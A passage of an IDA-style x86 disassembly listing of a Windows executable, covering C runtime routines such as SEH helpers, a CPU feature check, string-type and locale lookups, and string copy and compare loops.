loc_41824B:				; CODE XREF: sub_4180F8+138j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_41826C
		cmp	ebx, 8
		jnz	short sub_41827B
		push	dword ptr [edi+64h]
		push	ebx
		call	[ebp+var_20]
		pop	ecx
		jmp	short loc_41827F
sub_4180F8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_418266	proc near		; DATA XREF: .vty:0041FD70o
		mov	ebx, [ebp+8]
		mov	edi, [ebp-28h]
sub_418266	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41826C	proc near		; CODE XREF: sub_4180F8+15Ap
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_41827A
		push	0
		call	sub_416CCE
		pop	ecx

locret_41827A:				; CODE XREF: sub_41826C+4j
		retn
sub_41826C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41827B	proc near		; CODE XREF: sub_4180F8+162j
		push	ebx
		call	dword ptr [ebp-20h]


loc_41827F:				; CODE XREF: sub_4180F8+16Cj
		pop	ecx
		cmp	ebx, 8
		jz	short loc_41828F
		cmp	ebx, 0Bh
		jz	short loc_41828F
		cmp	ebx, 4
		jnz	short loc_4182A0


loc_41828F:				; CODE XREF: sub_41827B+8j
					; sub_41827B+Dj
		mov	eax, [ebp-2Ch]
		mov	[edi+60h], eax
		cmp	ebx, 8
		jnz	short loc_4182A0
		mov	eax, [ebp-30h]
		mov	[edi+64h], eax


loc_4182A0:				; CODE XREF: sub_41827B+12j
					; sub_41827B+1Dj
		xor	eax, eax
sub_41827B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4180F8


loc_4182A2:				; CODE XREF: sub_4180F8+44j
					; sub_4180F8+CCj
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_4180F8

; =============== S U B	R O U T	I N E =======================================



sub_4182A8	proc near		; CODE XREF: sub_412755+21p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_424D28, eax
		retn
sub_4182A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182B2	proc near		; CODE XREF: sub_412755+Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_424D2C, eax
		retn
sub_4182B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4182BC	proc near		; DATA XREF: sub_4182CC:loc_418331o

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_41C068	; InitializeCriticalSection
		xor	eax, eax
		inc	eax
		retn	8
sub_4182BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182CC	proc near		; CODE XREF: sub_413E9F+B5p
					; sub_41593C+15Fp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	14h
		push	offset dword_41FD78
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		push	dword_424D2C
		call	sub_411DBF
		pop	ecx
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_418342
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_412542
		pop	ecx
		cmp	eax, edi
		jz	short loc_41830A
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_40DBDC
		add	esp, 14h


loc_41830A:				; CODE XREF: sub_4182CC+2Fj
		cmp	[ebp+var_1C], 1
		jz	short loc_418331
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_41C0C4	; GetModuleHandleA
		cmp	eax, edi
		jz	short loc_418331
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	dword_41C0AC	; GetProcAddress
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_418336


loc_418331:				; CODE XREF: sub_4182CC+42j
					; sub_4182CC+51j
		mov	esi, offset sub_4182BC


loc_418336:				; CODE XREF: sub_4182CC+63j
		push	esi
		call	sub_411D53
		pop	ecx
		mov	dword_424D2C, eax


loc_418342:				; CODE XREF: sub_4182CC+21j
		mov	[ebp+ms_exc.disabled], edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi
		mov	[ebp+var_20], eax
		jmp	short loc_418381
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_24], eax
		xor	ecx, ecx
		cmp	eax, 0C0000017h
		setz	cl
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_24], 0C0000017h
		jnz	short loc_41837D
		push	8
		call	dword_41C154	; RtlSetLastWin32Error


loc_41837D:				; CODE XREF: sub_4182CC+A7j
		and	[ebp+var_20], 0


loc_418381:				; CODE XREF: sub_4182CC+84j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_20]
		call	__SEH_epilog4
		retn
sub_4182CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418391	proc near		; CODE XREF: sub_4183E1+4Dp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	0Ch
		push	offset dword_41FD98
		call	__SEH_prolog4
		and	[ebp+ms_exc.disabled], 0
		movapd	xmm0, xmm1
		mov	[ebp+var_1C], 1
		jmp	short loc_4183D1
; ---------------------------------------------------------------------------
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0C0000005h
		jz	short loc_4183C6
		cmp	eax, 0C000001Dh
		jz	short loc_4183C6
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4183C6:				; CODE XREF: sub_418391+29j
					; sub_418391+30j
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+var_1C], 0


loc_4183D1:				; CODE XREF: sub_418391+1Bj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_418391	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4183E1	proc near		; CODE XREF: sub_412A84+7p sub_418441p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		xor	eax, eax
		push	ebx
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		push	ebx
		pushf
		pop	eax
		mov	ecx, eax
		xor	eax, 200000h
		push	eax
		popf
		pushf
		pop	edx
		sub	edx, ecx
		jz	short loc_418424
		push	ecx
		popf
		xor	eax, eax
		cpuid
		mov	[ebp+var_C], eax
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	eax, 1
		cpuid
		mov	[ebp+var_4], edx
		mov	[ebp+var_8], eax


loc_418424:				; CODE XREF: sub_4183E1+22j
		pop	ebx
		test	[ebp+var_4], 4000000h
		jz	short loc_41843C
		call	sub_418391
		test	eax, eax
		jz	short loc_41843C
		xor	eax, eax
		inc	eax
		jmp	short loc_41843E
; ---------------------------------------------------------------------------


loc_41843C:				; CODE XREF: sub_4183E1+4Bj
					; sub_4183E1+54j
		xor	eax, eax


loc_41843E:				; CODE XREF: sub_4183E1+59j
		pop	ebx
		leave
		retn
sub_4183E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_418441	proc near		; DATA XREF: .vty:0041C23Co
		call	sub_4183E1
		mov	dword_426008, eax
		xor	eax, eax
		retn
sub_418441	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41844E	proc near		; CODE XREF: sub_418606+29p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, dword_424D6C
		push	ebx
		push	esi
		xor	ebx, ebx
		cmp	eax, ebx
		push	edi
		mov	edi, ecx
		jnz	short loc_4184A7
		lea	eax, [ebp+var_8]
		push	eax
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_41C81C
		push	esi
		call	dword_41C03C	; GetStringTypeW
		test	eax, eax
		jz	short loc_41848D
		mov	dword_424D6C, esi
		jmp	short loc_4184C1
; ---------------------------------------------------------------------------


loc_41848D:				; CODE XREF: sub_41844E+35j
		call	dword_41C0A4	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_4184A2
		push	2
		pop	eax
		mov	dword_424D6C, eax
		jmp	short loc_4184A7
; ---------------------------------------------------------------------------


loc_4184A2:				; CODE XREF: sub_41844E+48j
		mov	eax, dword_424D6C


loc_4184A7:				; CODE XREF: sub_41844E+1Dj
					; sub_41844E+52j
		cmp	eax, 2
		jz	loc_41857F
		cmp	eax, ebx
		jz	loc_41857F
		cmp	eax, 1
		jnz	loc_4185A9


loc_4184C1:				; CODE XREF: sub_41844E+3Dj
		cmp	[ebp+arg_10], ebx
		mov	[ebp+var_8], ebx
		jnz	short loc_4184D1
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax


loc_4184D1:				; CODE XREF: sub_41844E+79j
		mov	esi, dword_41C174
		xor	eax, eax
		cmp	[ebp+arg_18], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		setnz	al
		push	[ebp+arg_4]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4185A9
		jle	short loc_41853C
		cmp	edi, 7FFFFFF0h
		ja	short loc_41853C
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_418526
		call	sub_418C60
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_41853A
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_418537
; ---------------------------------------------------------------------------


loc_418526:				; CODE XREF: sub_41844E+C3j
		push	eax
		call	sub_411069
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41853A
		mov	dword ptr [eax], 0DDDDh


loc_418537:				; CODE XREF: sub_41844E+D6j
		add	eax, 8


loc_41853A:				; CODE XREF: sub_41844E+CEj
					; sub_41844E+E1j
		mov	ebx, eax


loc_41853C:				; CODE XREF: sub_41844E+B0j
					; sub_41844E+B8j
		test	ebx, ebx
		jz	short loc_4185A9
		lea	eax, [edi+edi]
		push	eax
		push	0
		push	ebx
		call	sub_40DD10
		add	esp, 0Ch
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_418573
		push	[ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_41C03C	; GetStringTypeW
		mov	[ebp+var_8], eax


loc_418573:				; CODE XREF: sub_41844E+112j
		push	ebx
		call	sub_413588
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	short loc_4185F4
; ---------------------------------------------------------------------------


loc_41857F:				; CODE XREF: sub_41844E+5Cj
					; sub_41844E+64j
		xor	esi, esi
		cmp	[ebp+arg_14], ebx
		jnz	short loc_41858E
		mov	eax, [edi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_14], eax


loc_41858E:				; CODE XREF: sub_41844E+136j
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41859B
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax


loc_41859B:				; CODE XREF: sub_41844E+143j
		push	[ebp+arg_14]
		call	sub_418A60
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4185AD


loc_4185A9:				; CODE XREF: sub_41844E+6Dj
					; sub_41844E+AAj ...
		xor	eax, eax
		jmp	short loc_4185F4
; ---------------------------------------------------------------------------


loc_4185AD:				; CODE XREF: sub_41844E+159j
		cmp	eax, [ebp+arg_10]
		jz	short loc_4185D0
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_10]
		call	sub_418AA7
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jz	short loc_4185A9
		mov	[ebp+arg_4], esi


loc_4185D0:				; CODE XREF: sub_41844E+162j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+arg_14]
		call	dword_41C040	; GetStringTypeA
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_4185F2
		push	esi
		call	sub_41112C
		pop	ecx


loc_4185F2:				; CODE XREF: sub_41844E+19Bj
		mov	eax, edi


loc_4185F4:				; CODE XREF: sub_41844E+12Fj
					; sub_41844E+15Dj
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_410BCD
		leave
		retn
sub_41844E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418606	proc near		; CODE XREF: sub_412C77+96p
					; sub_4139CC+83p

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40F7E2
		push	[ebp+arg_1C]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_41844E
		add	esp, 1Ch
		cmp	[ebp+var_4], 0
		jz	short locret_418644
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_418644:				; CODE XREF: sub_418606+35j
		leave
		retn
sub_418606	endp


; =============== S U B	R O U T	I N E =======================================



sub_418646	proc near		; CODE XREF: sub_413282+E9p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_4187D4
		push	dword ptr [esi+4]
		call	sub_41112C
		push	dword ptr [esi+8]
		call	sub_41112C
		push	dword ptr [esi+0Ch]
		call	sub_41112C
		push	dword ptr [esi+10h]
		call	sub_41112C
		push	dword ptr [esi+14h]
		call	sub_41112C
		push	dword ptr [esi+18h]
		call	sub_41112C
		push	dword ptr [esi]
		call	sub_41112C
		push	dword ptr [esi+20h]
		call	sub_41112C
		push	dword ptr [esi+24h]
		call	sub_41112C
		push	dword ptr [esi+28h]
		call	sub_41112C
		push	dword ptr [esi+2Ch]
		call	sub_41112C
		push	dword ptr [esi+30h]
		call	sub_41112C
		push	dword ptr [esi+34h]
		call	sub_41112C
		push	dword ptr [esi+1Ch]
		call	sub_41112C
		push	dword ptr [esi+38h]
		call	sub_41112C
		push	dword ptr [esi+3Ch]
		call	sub_41112C
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_41112C
		push	dword ptr [esi+44h]
		call	sub_41112C
		push	dword ptr [esi+48h]
		call	sub_41112C
		push	dword ptr [esi+4Ch]
		call	sub_41112C
		push	dword ptr [esi+50h]
		call	sub_41112C
		push	dword ptr [esi+54h]
		call	sub_41112C
		push	dword ptr [esi+58h]
		call	sub_41112C
		push	dword ptr [esi+5Ch]
		call	sub_41112C
		push	dword ptr [esi+60h]
		call	sub_41112C
		push	dword ptr [esi+64h]
		call	sub_41112C
		push	dword ptr [esi+68h]
		call	sub_41112C
		push	dword ptr [esi+6Ch]
		call	sub_41112C
		push	dword ptr [esi+70h]
		call	sub_41112C
		push	dword ptr [esi+74h]
		call	sub_41112C
		push	dword ptr [esi+78h]
		call	sub_41112C
		push	dword ptr [esi+7Ch]
		call	sub_41112C
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_41112C
		push	dword ptr [esi+84h]
		call	sub_41112C
		push	dword ptr [esi+88h]
		call	sub_41112C
		push	dword ptr [esi+8Ch]
		call	sub_41112C
		push	dword ptr [esi+90h]
		call	sub_41112C
		push	dword ptr [esi+94h]
		call	sub_41112C
		push	dword ptr [esi+98h]
		call	sub_41112C
		push	dword ptr [esi+9Ch]
		call	sub_41112C
		push	dword ptr [esi+0A0h]
		call	sub_41112C
		push	dword ptr [esi+0A4h]
		call	sub_41112C
		push	dword ptr [esi+0A8h]
		call	sub_41112C
		add	esp, 2Ch


loc_4187D4:				; CODE XREF: sub_418646+7j
		pop	esi
		retn
sub_418646	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187D6	proc near		; CODE XREF: sub_413282+64p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_418814
		mov	eax, [esi]
		cmp	eax, off_423ED8
		jz	short loc_4187F0
		push	eax
		call	sub_41112C
		pop	ecx


loc_4187F0:				; CODE XREF: sub_4187D6+11j
		mov	eax, [esi+4]
		cmp	eax, off_423EDC
		jz	short loc_418802
		push	eax
		call	sub_41112C
		pop	ecx


loc_418802:				; CODE XREF: sub_4187D6+23j
		mov	esi, [esi+8]
		cmp	esi, off_423EE0
		jz	short loc_418814
		push	esi
		call	sub_41112C
		pop	ecx


loc_418814:				; CODE XREF: sub_4187D6+7j
					; sub_4187D6+35j
		pop	esi
		retn
sub_4187D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418816	proc near		; CODE XREF: sub_413282+43p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41889D
		mov	eax, [esi+0Ch]
		cmp	eax, off_423EE4
		jz	short loc_418831
		push	eax
		call	sub_41112C
		pop	ecx


loc_418831:				; CODE XREF: sub_418816+12j
		mov	eax, [esi+10h]
		cmp	eax, off_423EE8
		jz	short loc_418843
		push	eax
		call	sub_41112C
		pop	ecx


loc_418843:				; CODE XREF: sub_418816+24j
		mov	eax, [esi+14h]
		cmp	eax, off_423EEC
		jz	short loc_418855
		push	eax
		call	sub_41112C
		pop	ecx


loc_418855:				; CODE XREF: sub_418816+36j
		mov	eax, [esi+18h]
		cmp	eax, off_423EF0
		jz	short loc_418867
		push	eax
		call	sub_41112C
		pop	ecx


loc_418867:				; CODE XREF: sub_418816+48j
		mov	eax, [esi+1Ch]
		cmp	eax, off_423EF4
		jz	short loc_418879
		push	eax
		call	sub_41112C
		pop	ecx


loc_418879:				; CODE XREF: sub_418816+5Aj
		mov	eax, [esi+20h]
		cmp	eax, off_423EF8
		jz	short loc_41888B
		push	eax
		call	sub_41112C
		pop	ecx


loc_41888B:				; CODE XREF: sub_418816+6Cj
		mov	esi, [esi+24h]
		cmp	esi, off_423EFC
		jz	short loc_41889D
		push	esi
		call	sub_41112C
		pop	ecx


loc_41889D:				; CODE XREF: sub_418816+7j
					; sub_418816+7Ej
		pop	esi
		retn
sub_418816	endp


; =============== S U B	R O U T	I N E =======================================



sub_41889F	proc near		; CODE XREF: sub_41422C+117p
					; sub_41422C+139p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		push	esi
		push	edi
		jz	short loc_4188B4
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_4188CF


loc_4188B4:				; CODE XREF: sub_41889F+Bj
					; sub_41889F+3Aj
		call	sub_40F79E
		push	16h
		pop	esi
		mov	[eax], esi


loc_4188BE:				; CODE XREF: sub_41889F+69j
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DCD8
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_41890C
; ---------------------------------------------------------------------------


loc_4188CF:				; CODE XREF: sub_41889F+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_4188DB


loc_4188D7:				; CODE XREF: sub_41889F+48j
		mov	[eax], bl
		jmp	short loc_4188B4
; ---------------------------------------------------------------------------


loc_4188DB:				; CODE XREF: sub_41889F+36j
		mov	edx, eax


loc_4188DD:				; CODE XREF: sub_41889F+44j
		cmp	[edx], bl
		jz	short loc_4188E5
		inc	edx
		dec	edi
		jnz	short loc_4188DD


loc_4188E5:				; CODE XREF: sub_41889F+40j
		cmp	edi, ebx
		jz	short loc_4188D7


loc_4188E9:				; CODE XREF: sub_41889F+55j
		mov	cl, [esi]
		mov	[edx], cl
		inc	edx
		inc	esi
		cmp	cl, bl
		jz	short loc_4188F6
		dec	edi
		jnz	short loc_4188E9


loc_4188F6:				; CODE XREF: sub_41889F+52j
		cmp	edi, ebx
		jnz	short loc_41890A
		mov	[eax], bl
		call	sub_40F79E
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_4188BE
; ---------------------------------------------------------------------------


loc_41890A:				; CODE XREF: sub_41889F+59j
		xor	eax, eax


loc_41890C:				; CODE XREF: sub_41889F+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41889F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_418924:				; CODE XREF: .vty:00418931j
		mov	al, [edx]
		or	al, al
		jz	short loc_418933
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_418924
; ---------------------------------------------------------------------------


loc_418933:				; CODE XREF: .vty:00418928j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]


loc_41893C:				; CODE XREF: .vty:0041894Cj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_41894E
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41893C


loc_41894E:				; CODE XREF: .vty:00418943j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418956	proc near		; CODE XREF: sub_419680+32p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_41896D
		xor	eax, eax
		jmp	loc_418A07
; ---------------------------------------------------------------------------


loc_41896D:				; CODE XREF: sub_418956+Ej
		cmp	ebx, 4
		push	edi
		jb	short loc_4189E8
		lea	edi, [ebx-4]
		test	edi, edi
		jbe	short loc_4189E8
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]


loc_418980:				; CODE XREF: sub_418956+66j
		mov	dl, [eax]
		add	eax, 4
		add	ecx, 4
		test	dl, dl
		jz	short loc_4189DE
		cmp	dl, [ecx-4]
		jnz	short loc_4189DE
		mov	dl, [eax-3]
		test	dl, dl
		jz	short loc_4189D4
		cmp	dl, [ecx-3]
		jnz	short loc_4189D4
		mov	dl, [eax-2]
		test	dl, dl
		jz	short loc_4189CA
		cmp	dl, [ecx-2]
		jnz	short loc_4189CA
		mov	dl, [eax-1]
		test	dl, dl
		jz	short loc_4189C0
		cmp	dl, [ecx-1]
		jnz	short loc_4189C0
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], edi
		jb	short loc_418980
		jmp	short loc_4189FF
; ---------------------------------------------------------------------------


loc_4189C0:				; CODE XREF: sub_418956+58j
					; sub_418956+5Dj
		movzx	eax, byte ptr [eax-1]
		movzx	ecx, byte ptr [ecx-1]
		jmp	short loc_418A10
; ---------------------------------------------------------------------------


loc_4189CA:				; CODE XREF: sub_418956+4Cj
					; sub_418956+51j
		movzx	eax, byte ptr [eax-2]
		movzx	ecx, byte ptr [ecx-2]
		jmp	short loc_418A10
; ---------------------------------------------------------------------------


loc_4189D4:				; CODE XREF: sub_418956+40j
					; sub_418956+45j
		movzx	eax, byte ptr [eax-3]
		movzx	ecx, byte ptr [ecx-3]
		jmp	short loc_418A10
; ---------------------------------------------------------------------------


loc_4189DE:				; CODE XREF: sub_418956+34j
					; sub_418956+39j
		movzx	eax, byte ptr [eax-4]
		movzx	ecx, byte ptr [ecx-4]
		jmp	short loc_418A10
; ---------------------------------------------------------------------------


loc_4189E8:				; CODE XREF: sub_418956+1Bj
					; sub_418956+22j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		jmp	short loc_4189FF
; ---------------------------------------------------------------------------


loc_4189F0:				; CODE XREF: sub_418956+ACj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_418A0A
		cmp	dl, [ecx]
		jnz	short loc_418A0A
		inc	eax
		inc	ecx
		inc	[ebp+var_4]


loc_4189FF:				; CODE XREF: sub_418956+68j
					; sub_418956+98j
		cmp	[ebp+var_4], ebx
		jb	short loc_4189F0
		xor	eax, eax


loc_418A06:				; CODE XREF: sub_418956+BCj
		pop	edi


loc_418A07:				; CODE XREF: sub_418956+12j
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_418A0A:				; CODE XREF: sub_418956+9Ej
					; sub_418956+A2j
		movzx	eax, byte ptr [eax]
		movzx	ecx, byte ptr [ecx]


loc_418A10:				; CODE XREF: sub_418956+72j
					; sub_418956+7Cj ...
		sub	eax, ecx
		jmp	short loc_418A06
sub_418956	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_418A34:				; CODE XREF: .vty:00418A41j
		mov	al, [edx]
		or	al, al
		jz	short loc_418A43
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_418A34
; ---------------------------------------------------------------------------


loc_418A43:				; CODE XREF: .vty:00418A38j
		mov	esi, [ebp+8]
		mov	edi, edi


loc_418A48:				; CODE XREF: .vty:00418A55j
		mov	al, [esi]
		or	al, al
		jz	short loc_418A5A
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_418A48
		lea	eax, [esi-1]


loc_418A5A:				; CODE XREF: .vty:00418A4Cj
		add	esp, 20h
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A60	proc near		; CODE XREF: sub_4135A3+25Ap
					; sub_41844E+150p

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	6
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		mov	[ebp+var_6], 0
		call	dword_41C038	; GetLocaleInfoA
		test	eax, eax
		jnz	short loc_418A91
		or	eax, 0FFFFFFFFh
		jmp	short loc_418A9B
; ---------------------------------------------------------------------------


loc_418A91:				; CODE XREF: sub_418A60+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41002F
		pop	ecx


loc_418A9B:				; CODE XREF: sub_418A60+2Fj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_410BCD
		leave
		retn
sub_418A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AA7	proc near		; CODE XREF: sub_4135A3+285p
					; sub_4135A3+336p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	[ebp+var_30], eax
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	eax, [ebp+arg_4]
		mov	[ebp+var_34], ecx
		mov	[ebp+var_20], edi
		mov	[ebp+var_2C], edi
		jz	loc_418C44
		mov	esi, dword_41C160
		lea	ecx, [ebp+var_18]
		push	ecx
		push	eax
		call	esi	; GetCPInfo
		test	eax, eax
		mov	ebx, dword_41C174
		jz	short loc_418B5A
		cmp	[ebp+var_18], 1
		jnz	short loc_418B5A
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
